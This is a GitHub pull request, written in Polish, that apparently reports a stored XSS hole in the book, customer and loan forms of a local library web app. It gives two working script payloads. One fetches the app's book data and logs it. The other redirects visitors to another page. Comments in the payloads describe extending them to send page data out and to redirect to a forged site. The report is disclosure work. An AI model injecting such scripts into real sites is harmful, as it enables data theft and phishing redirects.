Skip to content

Conversation

@domikkkk
Copy link

Podatność XSS

<script> async function fetchJson(url) { const res = await fetch(url, { method: 'GET' }); if (!res.ok) { throw new Error(`Błąd sieci: ${res.status} ${res.statusText}`); } return await res.json(); } (async () => { try { const data = await fetchJson('http://localhost:5000/books/json'); console.log(data); /* tu można dać fetch z wysłaniem */ } catch (err) { console.error('Błąd:', err.message); } })(); </script> <script> window.location.replace("https://www.google.com/search?q=xss&oq=xss&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIGCAEQRRg9MgYIAhBFGD3SAQc4MTVqMGo3qAIAsAIA&sourceid=chrome&ie=UTF-8") /* tu replace do podrobionej strony z danymi uprzednio wysłanymi*/ </script>

Można wpisać takie jedno albo drugie w formularzach dodających książkę, lub też customera czy też pożyczkę. Drugi XSS pod dodaniu książki czy też customera po załadowaniu strony np z książkami od razu przenosi na inną stronę. W tym przypadku jest to google z wyszukaniem "co to XSS". Pierwszy skrypt natomiast:

image tak jak na obrazku wyżej tylko wyświetla wszystkie informacje o książkach, ale nic nie stoi by dodać więcej i np automatycznie przekazywać całe info ze strony gdzieś na zewnątrz.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant